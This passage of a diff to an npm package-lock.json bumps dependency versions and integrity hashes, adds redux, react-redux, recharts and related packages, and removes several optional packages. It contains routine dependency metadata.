-      "integrity": "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw==",
+      "version": "7.1.3",
+      "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.3.tgz",
+      "integrity": "sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A==",
       "dev": true,
-      "license": "ISC",
+      "license": "BlueOak-1.0.0",
       "engines": {
         "node": ">=16 || 14 >=14.17"
       }
@@ -13818,9 +13107,9 @@
       "license": "MIT"
     },
     "node_modules/node-stdlib-browser": {
-      "version": "1.3.0",
-      "resolved": "https://registry.npmjs.org/node-stdlib-browser/-/node-stdlib-browser-1.3.0.tgz",
-      "integrity": "sha512-g/koYzOr9Fb1Jc+tHUHlFd5gODjGn48tHexUK8q6iqOVriEgSnd3/1T7myBYc+0KBVze/7F7n65ec9rW6OD7xw==",
+      "version": "1.3.1",
+      "resolved": "https://registry.npmjs.org/node-stdlib-browser/-/node-stdlib-browser-1.3.1.tgz",
+      "integrity": "sha512-X75ZN8DCLftGM5iKwoYLA3rjnrAEs97MkzvSd4q2746Tgpg8b8XWiBGiBG4ZpgcAqBgtgPHTiAc8ZMCvZuikDw==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
@@ -13831,7 +13120,7 @@
         "console-browserify": "^1.1.0",
         "constants-browserify": "^1.0.0",
         "create-require": "^1.1.1",
-        "crypto-browserify": "^3.11.0",
+        "crypto-browserify": "^3.12.1",
         "domain-browser": "4.22.0",
         "events": "^3.0.0",
         "https-browserify": "^1.0.0",
@@ -14136,31 +13425,16 @@
       }
     },
     "node_modules/parse-asn1": {
-      "version": "5.1.7",
-      "resolved": "https://registry.npmjs.org/parse-asn1/-/parse-asn1-5.1.7.tgz",
-      "integrity": "sha512-CTM5kuWR3sx9IFamcl5ErfPl6ea/N8IYwiJ+vpeB2g+1iknv7zBl5uPwbMbRVznRVbrNY6lGuDoE5b30grmbqg==",
+      "version": "5.1.9",
+      "resolved": "https://registry.npmjs.org/parse-asn1/-/parse-asn1-5.1.9.tgz",
+      "integrity": "sha512-fIYNuZ/HastSb80baGOuPRo1O9cf4baWw5WsAp7dBuUzeTD/BoaG8sVTdlPFksBE2lF21dN+A1AnrpIjSWqHHg==",
       "dev": true,
       "license": "ISC",
       "dependencies": {
         "asn1.js": "^4.10.1",
         "browserify-aes": "^1.2.0",
         "evp_bytestokey": "^1.0.3",
-        "hash-base": "~3.0",
-        "pbkdf2": "^3.1.2",
-        "safe-buffer": "^5.2.1"
-      },
-      "engines": {
-        "node": ">= 0.10"
-      }
-    },
-    "node_modules/parse-asn1/node_modules/hash-base": {
-      "version": "3.0.5",
-      "resolved": "https://registry.npmjs.org/hash-base/-/hash-base-3.0.5.tgz",
-      "integrity": "sha512-vXm0l45VbcHEVlTCzs8M+s0VeYsB2lnlAaThoLKGXr3bE/VWDOelNUnycUPEhKEaXARL2TEFjBOyUiM6+55KBg==",
-      "dev": true,
-      "license": "MIT",
-      "dependencies": {
-        "inherits": "^2.0.4",
+        "pbkdf2": "^3.1.5",
         "safe-buffer": "^5.2.1"
       },
       "engines": {
@@ -14260,30 +13534,6 @@
       "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==",
       "license": "MIT"
     },
-    "node_modules/path-scurry": {
-      "version": "1.11.1",
-      "resolved": "https://registry.npmjs.org/path-scurry/-/path-scurry-1.11.1.tgz",
-      "integrity": "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA==",
-      "dev": true,
-      "license": "BlueOak-1.0.0",
-      "dependencies": {
-        "lru-cache": "^10.2.0",
-        "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0"
-      },
-      "engines": {
-        "node": ">=16 || 14 >=14.18"
-      },
-      "funding": {
-        "url": "https://github.com/sponsors/isaacs"
-      }
-    },
-    "node_modules/path-scurry/node_modules/lru-cache": {
-      "version": "10.4.3",
-      "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.4.3.tgz",
-      "integrity": "sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==",
-      "dev": true,
-      "license": "ISC"
-    },
     "node_modules/path-type": {
       "version": "4.0.0",
       "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz",
@@ -14322,13 +13572,6 @@
         "node": ">= 0.10"
       }
     },
-    "node_modules/performance-now": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz",
-      "integrity": "sha512-7EAHlyLHI56VEIdK57uwHdHKIaAGbnXPiw0yWbarQZOKaKpvUIgW0jWRVLiatnM+XXlSwsanIBH/hzGMJulMow==",
-      "license": "MIT",
-      "optional": true
-    },
     "node_modules/picocolors": {
       "version": "1.1.1",
       "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz",
@@ -14336,9 +13579,9 @@
       "license": "ISC"
     },
     "node_modules/picomatch": {
-      "version": "4.0.3",
-      "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz",
-      "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==",
+      "version": "4.0.4",
+      "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.4.tgz",
+      "integrity": "sha512-QP88BAKvMam/3NxH6vj2o21R6MjxZUAd6nlwAS/pnGvN9IVLocLHxGYIzFhg6fUQ+5th6P4dv4eW9jX3DSIj7A==",
       "license": "MIT",
       "engines": {
         "node": ">=12"
@@ -14373,6 +13616,7 @@
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/possible-typed-array-names/-/possible-typed-array-names-1.0.0.tgz",
       "integrity": "sha512-d7Uw+eZoloe0EHDIYoe+bQ5WXnGMOpmiZFTuMWCwpjzzkL2nTjcKiAk4hh8TjnGye2TwWOk3UXucZ+3rbmBa8Q==",
+      "dev": true,
       "license": "MIT",
       "engines": {
         "node": ">= 0.4"
@@ -14631,6 +13875,7 @@
       "version": "2.0.1",
       "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz",
       "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==",
+      "dev": true,
       "license": "MIT"
     },
     "node_modules/prop-types": {
@@ -14678,10 +13923,13 @@
       }
     },
     "node_modules/proxy-from-env": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-1.1.0.tgz",
-      "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==",
-      "license": "MIT"
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-2.1.0.tgz",
+      "integrity": "sha512-cJ+oHTW1VAEa8cJslgmUZrc+sjRKgAKl3Zyse6+PV38hZe/V6Z14TbCuXcan9F9ghlz4QrFr2c92TNF82UkYHA==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=10"
+      }
     },
     "node_modules/public-encrypt": {
       "version": "4.0.3",
@@ -14699,9 +13947,9 @@
       }
     },
     "node_modules/public-encrypt/node_modules/bn.js": {
-      "version": "4.12.1",
-      "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.1.tgz",
-      "integrity": "sha512-k8TVBiPkPJT9uHLdOKfFpqcfprwBFOAAXXozRubr7R7PfIuKvQlzcI4M0pALeqXN09vdaMbUdUj+pass+uULAg==",
+      "version": "4.12.3",
+      "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.3.tgz",
+      "integrity": "sha512-fGTi3gxV/23FTYdAoUtLYp6qySe2KE3teyZitipKNRuVYcBkoP/bB3guXN/XVKUe9mxCHXnc9C4ocyz8OmgN0g==",
       "dev": true,
       "license": "MIT"
     },
@@ -14751,13 +13999,13 @@
       }
     },
     "node_modules/qs": {
-      "version": "6.13.1",
-      "resolved": "https://registry.npmjs.org/qs/-/qs-6.13.1.tgz",
-      "integrity": "sha512-EJPeIn0CYrGu+hli1xilKAPXODtJ12T0sP63Ijx2/khC2JtuaN3JyNIpvmnkmaEtha9ocbG4A4cMcr+TvqvwQg==",
+      "version": "6.15.0",
+      "resolved": "https://registry.npmjs.org/qs/-/qs-6.15.0.tgz",
+      "integrity": "sha512-mAZTtNCeetKMH+pSjrb76NAM8V9a05I9aBZOHztWy/UqcJdQYNsf59vrRKWnojAT9Y+GbIvoTBC++CPHqpDBhQ==",
       "dev": true,
       "license": "BSD-3-Clause",
       "dependencies": {
-        "side-channel": "^1.0.6"
+        "side-channel": "^1.1.0"
       },
       "engines": {
         "node": ">=0.6"
@@ -14802,16 +14050,6 @@
       ],
       "license": "MIT"
     },
-    "node_modules/raf": {
-      "version": "3.4.1",
-      "resolved": "https://registry.npmjs.org/raf/-/raf-3.4.1.tgz",
-      "integrity": "sha512-Sq4CW4QhwOHE8ucn6J34MqtZCeWFP2aQSmrlroYgqAV1PjStIhJXxYuTgUIfkEk7zTLjmIjLmU5q+fbD1NnOJA==",
-      "license": "MIT",
-      "optional": true,
-      "dependencies": {
-        "performance-now": "^2.1.0"
-      }
-    },
     "node_modules/randexp": {
       "version": "0.5.3",
       "resolved": "https://registry.npmjs.org/randexp/-/randexp-0.5.3.tgz",
@@ -14829,6 +14067,7 @@
       "version": "2.1.0",
       "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz",
       "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==",
+      "dev": true,
       "license": "MIT",
       "dependencies": {
         "safe-buffer": "^5.1.0"
@@ -14911,6 +14150,16 @@
         "object-assign": "^4.1.1"
       }
     },
+    "node_modules/react-colorful": {
+      "version": "5.6.1",
+      "resolved": "https://registry.npmjs.org/react-colorful/-/react-colorful-5.6.1.tgz",
+      "integrity": "sha512-1exovf0uGTGyq5mXQT0zgQ80uvj2PCwvF8zY1RN9/vbJVSjSo3fsB/4L3ObbF7u70NduSiK4xu4Y6q1MHoUGEw==",
+      "license": "MIT",
+      "peerDependencies": {
+        "react": ">=16.8.0",
+        "react-dom": ">=16.8.0"
+      }
+    },
     "node_modules/react-complex-tree": {
       "version": "2.6.1",
       "resolved": "https://registry.npmjs.org/react-complex-tree/-/react-complex-tree-2.6.1.tgz",
@@ -15105,6 +14354,29 @@
         "react": ">=18"
       }
     },
+    "node_modules/react-redux": {
+      "version": "9.2.0",
+      "resolved": "https://registry.npmjs.org/react-redux/-/react-redux-9.2.0.tgz",
+      "integrity": "sha512-ROY9fvHhwOD9ySfrF0wmvu//bKCQ6AeZZq1nJNtbDC+kk5DuSuNX/n6YWYF/SYy7bSba4D4FSz8DJeKY/S/r+g==",
+      "license": "MIT",
+      "dependencies": {
+        "@types/use-sync-external-store": "^0.0.6",
+        "use-sync-external-store": "^1.4.0"
+      },
+      "peerDependencies": {
+        "@types/react": "^18.2.25 || ^19",
+        "react": "^18.0 || ^19",
+        "redux": "^5.0.0"
+      },
+      "peerDependenciesMeta": {
+        "@types/react": {
+          "optional": true
+        },
+        "redux": {
+          "optional": true
+        }
+      }
+    },
     "node_modules/react-remove-scroll": {
       "version": "2.6.0",
       "resolved": "https://registry.npmjs.org/react-remove-scroll/-/react-remove-scroll-2.6.0.tgz",
@@ -15262,9 +14534,9 @@
       }
     },
     "node_modules/readdirp/node_modules/picomatch": {
-      "version": "2.3.1",
-      "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz",
-      "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==",
+      "version": "2.3.2",
+      "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.2.tgz",
+      "integrity": "sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==",
       "dev": true,
       "license": "MIT",
       "engines": {
@@ -15303,11 +14575,35 @@
         "node": ">=0.10.0"
       }
     },
-    "node_modules/redaxios": {
-      "version": "0.5.1",
-      "resolved": "https://registry.npmjs.org/redaxios/-/redaxios-0.5.1.tgz",
-      "integrity": "sha512-FSD2AmfdbkYwl7KDExYQlVvIrFz6Yd83pGfaGjBzM9F6rpq8g652Q4Yq5QD4c+nf4g2AgeElv1y+8ajUPiOYMg==",
-      "license": "Apache-2.0"
+    "node_modules/recharts": {
+      "version": "3.8.1",
+      "resolved": "https://registry.npmjs.org/recharts/-/recharts-3.8.1.tgz",
+      "integrity": "sha512-mwzmO1s9sFL0TduUpwndxCUNoXsBw3u3E/0+A+cLcrSfQitSG62L32N69GhqUrrT5qKcAE3pCGVINC6pqkBBQg==",
+      "license": "MIT",
+      "workspaces": [
+        "www"
+      ],
+      "dependencies": {
+        "@reduxjs/toolkit": "^1.9.0 || 2.x.x",
+        "clsx": "^2.1.1",
+        "decimal.js-light": "^2.5.1",
+        "es-toolkit": "^1.39.3",
+        "eventemitter3": "^5.0.1",
+        "immer": "^10.1.1",
+        "react-redux": "8.x.x || 9.x.x",
+        "reselect": "5.1.1",
+        "tiny-invariant": "^1.3.3",
+        "use-sync-external-store": "^1.2.2",
+        "victory-vendor": "^37.0.2"
+      },
+      "engines": {
+        "node": ">=18"
+      },
+      "peerDependencies": {
+        "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0",
+        "react-dom": "^16.0.0 || ^17.0.0 || ^18.0.0 || ^19.0.0",
+        "react-is": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0"
+      }
     },
     "node_modules/redent": {
       "version": "3.0.0",
@@ -15338,6 +14634,21 @@
         "node": ">=8"
       }
     },
+    "node_modules/redux": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/redux/-/redux-5.0.1.tgz",
+      "integrity": "sha512-M9/ELqF6fy8FwmkpnF0S3YKOqMyoWJ4+CS5Efg2ct3oY9daQvd/Pc71FpGZsVsbl3Cpb+IIcjBDUnnyBdQbq4w==",
+      "license": "MIT"
+    },
+    "node_modules/redux-thunk": {
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/redux-thunk/-/redux-thunk-3.1.0.tgz",
+      "integrity": "sha512-NW2r5T6ksUKXCabzhL9z+h206HQw/NJkcLm1GPImRQ8IzfXwRGqjVhKJGauHirT0DAuyy6hjdnMZaRoAcy0Klw==",
+      "license": "MIT",
+      "peerDependencies": {
+        "redux": "^5.0.0"
+      }
+    },
     "node_modules/reflect-metadata": {
       "version": "0.2.2",
       "resolved": "https://registry.npmjs.org/reflect-metadata/-/reflect-metadata-0.2.2.tgz",
@@ -15452,6 +14763,12 @@
       "integrity": "sha512-NKN5kMDylKuldxYLSUfrbo5Tuzh4hd+2E8NPPX02mZtn1VuREQToYe/ZdlJy+J3uCpfaiGF05e7B8W0iXbQHmg==",
       "license": "ISC"
     },
+    "node_modules/reselect": {
+      "version": "5.1.1",
+      "resolved": "https://registry.npmjs.org/reselect/-/reselect-5.1.1.tgz",
+      "integrity": "sha512-K/BG6eIky/SBpzfHZv/dd+9JBFiS4SWV7FIujVyJRux6e45+73RaUHXLmIR1f7WOMaQ0U1km6qwklRQxpJJY0w==",
+      "license": "MIT"
+    },
     "node_modules/resolve": {
       "version": "1.22.8",
       "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.8.tgz",
@@ -15508,16 +14825,6 @@
         "node": ">=0.10.0"
       }
     },
-    "node_modules/rgbcolor": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/rgbcolor/-/rgbcolor-1.0.1.tgz",
-      "integrity": "sha512-9aZLIrhRaD97sgVhtJOW6ckOEh6/GnvQtdVNfdZ6s67+3/XwLS9lBcQYzEEhYVeUowN7pRzMLsyGhK2i/xvWbw==",
-      "license": "MIT OR SEE LICENSE IN FEEL-FREE.md",
-      "optional": true,
-      "engines": {
-        "node": ">= 0.8.15"
-      }
-    },
     "node_modules/rimraf": {
       "version": "3.0.2",
       "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz",
@@ -15535,10 +14842,64 @@
         "url": "https://github.com/sponsors/isaacs"
       }
     },
+    "node_modules/rimraf/node_modules/balanced-match": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
+      "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/rimraf/node_modules/brace-expansion": {
+      "version": "1.1.13",
+      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.13.tgz",
+      "integrity": "sha512-9ZLprWS6EENmhEOpjCYW2c8VkmOvckIJZfkr7rBW6dObmfgJ/L1GpSYW5Hpo9lDz4D1+n0Ckz8rU7FwHDQiG/w==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "balanced-match": "^1.0.0",
+        "concat-map": "0.0.1"
+      }
+    },
+    "node_modules/rimraf/node_modules/glob": {
+      "version": "7.2.3",
+      "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz",
+      "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==",
+      "deprecated": "Old versions of glob are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me",
+      "dev": true,
+      "license": "ISC",
+      "dependencies": {
+        "fs.realpath": "^1.0.0",
+        "inflight": "^1.0.4",
+        "inherits": "2",
+        "minimatch": "^3.1.1",
+        "once": "^1.3.0",
+        "path-is-absolute": "^1.0.0"
+      },
+      "engines": {
+        "node": "*"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/isaacs"
+      }
+    },
+    "node_modules/rimraf/node_modules/minimatch": {
+      "version": "3.1.5",
+      "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz",
+      "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==",
+      "dev": true,
+      "license": "ISC",
+      "dependencies": {
+        "brace-expansion": "^1.1.7"
+      },
+      "engines": {
+        "node": "*"
+      }
+    },
     "node_modules/ripemd160": {
       "version": "2.0.3",
       "resolved": "https://registry.npmjs.org/ripemd160/-/ripemd160-2.0.3.tgz",
       "integrity": "sha512-5Di9UC0+8h1L6ZD2d7awM7E/T4uA1fJRlx6zk/NvdCCVEoAnFqvHmCuNeIKoCeIixBX/q8uM+6ycDvF8woqosA==",
+      "dev": true,
       "license": "MIT",
       "dependencies": {
         "hash-base": "^3.1.2",
@@ -15549,9 +14910,9 @@
       }
     },
     "node_modules/rollup": {
-      "version": "4.52.5",
-      "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.52.5.tgz",
-      "integrity": "sha512-3GuObel8h7Kqdjt0gxkEzaifHTqLVW56Y/bjN7PSQtkKr0w3V/QYSdt6QWYtd7A1xUtYQigtdUfgj1RvWVtorw==",
+      "version": "4.60.1",
+      "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.60.1.tgz",
+      "integrity": "sha512-VmtB2rFU/GroZ4oL8+ZqXgSA38O6GR8KSIvWmEFv63pQ0G6KaBH9s07PO8XTXP4vI+3UJUEypOfjkGfmSBBR0w==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
@@ -15565,28 +14926,31 @@
         "npm": ">=8.0.0"
       },
       "optionalDependencies": {
-        "@rollup/rollup-android-arm-eabi": "4.52.5",
-        "@rollup/rollup-android-arm64": "4.52.5",
-        "@rollup/rollup-darwin-arm64": "4.52.5",
-        "@rollup/rollup-darwin-x64": "4.52.5",
-        "@rollup/rollup-freebsd-arm64": "4.52.5",
-        "@rollup/rollup-freebsd-x64": "4.52.5",
-        "@rollup/rollup-linux-arm-gnueabihf": "4.52.5",
-        "@rollup/rollup-linux-arm-musleabihf": "4.52.5",
-        "@rollup/rollup-linux-arm64-gnu": "4.52.5",
-        "@rollup/rollup-linux-arm64-musl": "4.52.5",
-        "@rollup/rollup-linux-loong64-gnu": "4.52.5",
-        "@rollup/rollup-linux-ppc64-gnu": "4.52.5",
-        "@rollup/rollup-linux-riscv64-gnu": "4.52.5",
-        "@rollup/rollup-linux-riscv64-musl": "4.52.5",
-        "@rollup/rollup-linux-s390x-gnu": "4.52.5",
-        "@rollup/rollup-linux-x64-gnu": "4.52.5",
-        "@rollup/rollup-linux-x64-musl": "4.52.5",
-        "@rollup/rollup-openharmony-arm64": "4.52.5",
-        "@rollup/rollup-win32-arm64-msvc": "4.52.5",
-        "@rollup/rollup-win32-ia32-msvc": "4.52.5",
-        "@rollup/rollup-win32-x64-gnu": "4.52.5",
-        "@rollup/rollup-win32-x64-msvc": "4.52.5",
+        "@rollup/rollup-android-arm-eabi": "4.60.1",
+        "@rollup/rollup-android-arm64": "4.60.1",
+        "@rollup/rollup-darwin-arm64": "4.60.1",
+        "@rollup/rollup-darwin-x64": "4.60.1",
+        "@rollup/rollup-freebsd-arm64": "4.60.1",
+        "@rollup/rollup-freebsd-x64": "4.60.1",
+        "@rollup/rollup-linux-arm-gnueabihf": "4.60.1",
+        "@rollup/rollup-linux-arm-musleabihf": "4.60.1",
+        "@rollup/rollup-linux-arm64-gnu": "4.60.1",
+        "@rollup/rollup-linux-arm64-musl": "4.60.1",
+        "@rollup/rollup-linux-loong64-gnu": "4.60.1",
+        "@rollup/rollup-linux-loong64-musl": "4.60.1",
+        "@rollup/rollup-linux-ppc64-gnu": "4.60.1",
+        "@rollup/rollup-linux-ppc64-musl": "4.60.1",
+        "@rollup/rollup-linux-riscv64-gnu": "4.60.1",
+        "@rollup/rollup-linux-riscv64-musl": "4.60.1",
+        "@rollup/rollup-linux-s390x-gnu": "4.60.1",
+        "@rollup/rollup-linux-x64-gnu": "4.60.1",
+        "@rollup/rollup-linux-x64-musl": "4.60.1",
+        "@rollup/rollup-openbsd-x64": "4.60.1",
+        "@rollup/rollup-openharmony-arm64": "4.60.1",
+        "@rollup/rollup-win32-arm64-msvc": "4.60.1",
+        "@rollup/rollup-win32-ia32-msvc": "4.60.1",
+        "@rollup/rollup-win32-x64-gnu": "4.60.1",
+        "@rollup/rollup-win32-x64-msvc": "4.60.1",
         "fsevents": "~2.3.2"
       }
     },
@@ -15638,6 +15002,7 @@
       "version": "5.2.1",
       "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz",
       "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==",
+      "dev": true,
       "funding": [
         {
           "type": "github",
@@ -15682,9 +15047,9 @@
       }
     },
     "node_modules/semver": {
-      "version": "7.6.3",
-      "resolved": "https://registry.npmjs.org/semver/-/semver-7.6.3.tgz",
-      "integrity": "sha512-oVekP1cKtI+CTDvHWYFUcMtsK/00wmAEfyqKfNdARm8u1wNVhSgaX7A8d4UuIlUI5e84iEwOhs7ZPYRmzU9U6A==",
+      "version": "7.7.4",
+      "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.4.tgz",
+      "integrity": "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA==",
       "dev": true,
       "license": "ISC",
       "bin": {
@@ -15704,6 +15069,7 @@
       "version": "1.2.2",
       "resolved": "https://registry.npmjs.org/set-function-length/-/set-function-length-1.2.2.tgz",
       "integrity": "sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==",
+      "dev": true,
       "license": "MIT",
       "dependencies": {
         "define-data-property": "^1.1.4",
@@ -15744,6 +15110,7 @@
       "version": "2.4.12",
       "resolved": "https://registry.npmjs.org/sha.js/-/sha.js-2.4.12.tgz",
       "integrity": "sha512-8LzC5+bvI45BjpfXU8V5fdU2mfeKiQe1D1gIMn7XUlF3OTUrpdJpPPH4EMAnF0DsHHdSZqCdSss5qCmJKuiO3w==",
+      "dev": true,
       "license": "(MIT AND BSD-3-Clause)",
       "dependencies": {
         "inherits": "^2.0.4",
@@ -15915,20 +15282,10 @@
       "dev": true,
       "license": "MIT"
     },
-    "node_modules/stackblur-canvas": {
-      "version": "2.7.0",
-      "resolved": "https://registry.npmjs.org/stackblur-canvas/-/stackblur-canvas-2.7.0.tgz",
-      "integrity": "sha512-yf7OENo23AGJhBriGx0QivY5JP6Y1HbrrDI6WLt6C5auYZXlQrheoY8hD4ibekFKz1HOfE48Ww8kMWMnJD/zcQ==",
-      "license": "MIT",
-      "optional": true,
-      "engines": {
-        "node": ">=0.1.14"
-      }
-    },
     "node_modules/storybook": {
-      "version": "9.1.13",
-      "resolved": "https://registry.npmjs.org/storybook/-/storybook-9.1.13.tgz",
-      "integrity": "sha512-G3KZ36EVzXyHds72B/qtWiJnhUpM0xOUeYlDcO9DSHL1bDTv15cW4+upBl+mcBZrDvU838cn7Bv4GpF+O5MCfw==",
+      "version": "9.1.20",
+      "resolved": "https://registry.npmjs.org/storybook/-/storybook-9.1.20.tgz",
+      "integrity": "sha512-6rME2tww6PFhm96iG2Xx44yzwLDWBiDWy+kJ2ub6x90werSTOiuo+tZJ94BgCfFutR0tEfLRIq59s+Zg6YyChA==",
       "dev": true,
       "license": "MIT",
       "peer": true,
@@ -16051,13 +15408,13 @@
       }
     },
     "node_modules/string-width/node_modules/strip-ansi": {
-      "version": "7.1.2",
-      "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.2.tgz",
-      "integrity": "sha512-gmBGslpoQJtgnMAvOVqGZpEz9dyoKTCzy2nfz/n8aIFhN/jCE/rCmcxabB6jOOHV+0WNnylOxaxBQPSvcWklhA==",
+      "version": "7.2.0",
+      "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.2.0.tgz",
+      "integrity": "sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "ansi-regex": "^6.0.1"
+        "ansi-regex": "^6.2.2"
       },
       "engines": {
         "node": ">=12"
@@ -16301,16 +15658,6 @@
         "url": "https://github.com/sponsors/ljharb"
       }
     },
-    "node_modules/svg-pathdata": {
-      "version": "6.0.3",
-      "resolved": "https://registry.npmjs.org/svg-pathdata/-/svg-pathdata-6.0.3.tgz",
-      "integrity": "sha512-qsjeeq5YjBZ5eMdFuUa4ZosMLxgr5RZ+F+Y1OrDhuOCEInRMA3x74XdBtggJcj9kOeInz0WE+LgCPDkZFlBYJw==",
-      "license": "MIT",
-      "optional": true,
-      "engines": {
-        "node": ">=12.0.0"
-      }
-    },
     "node_modules/synckit": {
       "version": "0.9.2",
       "resolved": "https://registry.npmjs.org/synckit/-/synckit-0.9.2.tgz",
@@ -16356,11 +15703,11 @@
       }
     },
     "node_modules/tar": {
-      "version": "7.5.1",
-      "resolved": "https://registry.npmjs.org/tar/-/tar-7.5.1.tgz",
-      "integrity": "sha512-nlGpxf+hv0v7GkWBK2V9spgactGOp0qvfWRxUMjqHyzrt3SgwE48DIv/FhqPHJYLHpgW1opq3nERbz5Anq7n1g==",
+      "version": "7.5.13",
+      "resolved": "https://registry.npmjs.org/tar/-/tar-7.5.13.tgz",
+      "integrity": "sha512-tOG/7GyXpFevhXVh8jOPJrmtRpOTsYqUIkVdVooZYJS/z8WhfQUX8RJILmeuJNinGAMSu1veBr4asSHFt5/hng==",
       "dev": true,
-      "license": "ISC",
+      "license": "BlueOak-1.0.0",
       "dependencies": {
         "@isaacs/fs-minipass": "^4.0.0",
         "chownr": "^3.0.0",
@@ -16382,16 +15729,6 @@
         "node": ">=18"
       }
     },
-    "node_modules/text-segmentation": {
-      "version": "1.0.3",
-      "resolved": "https://registry.npmjs.org/text-segmentation/-/text-segmentation-1.0.3.tgz",
-      "integrity": "sha512-iOiPUo/BGnZ6+54OsWxZidGCsdU8YbE4PSpdPinp7DeMtUJNJBoJ/ouUSTJjHkh1KntHaltHl/gDs2FC4i5+Nw==",
-      "license": "MIT",
-      "optional": true,
-      "dependencies": {
-        "utrie": "^1.0.2"
-      }
-    },
     "node_modules/text-table": {
       "version": "0.2.0",
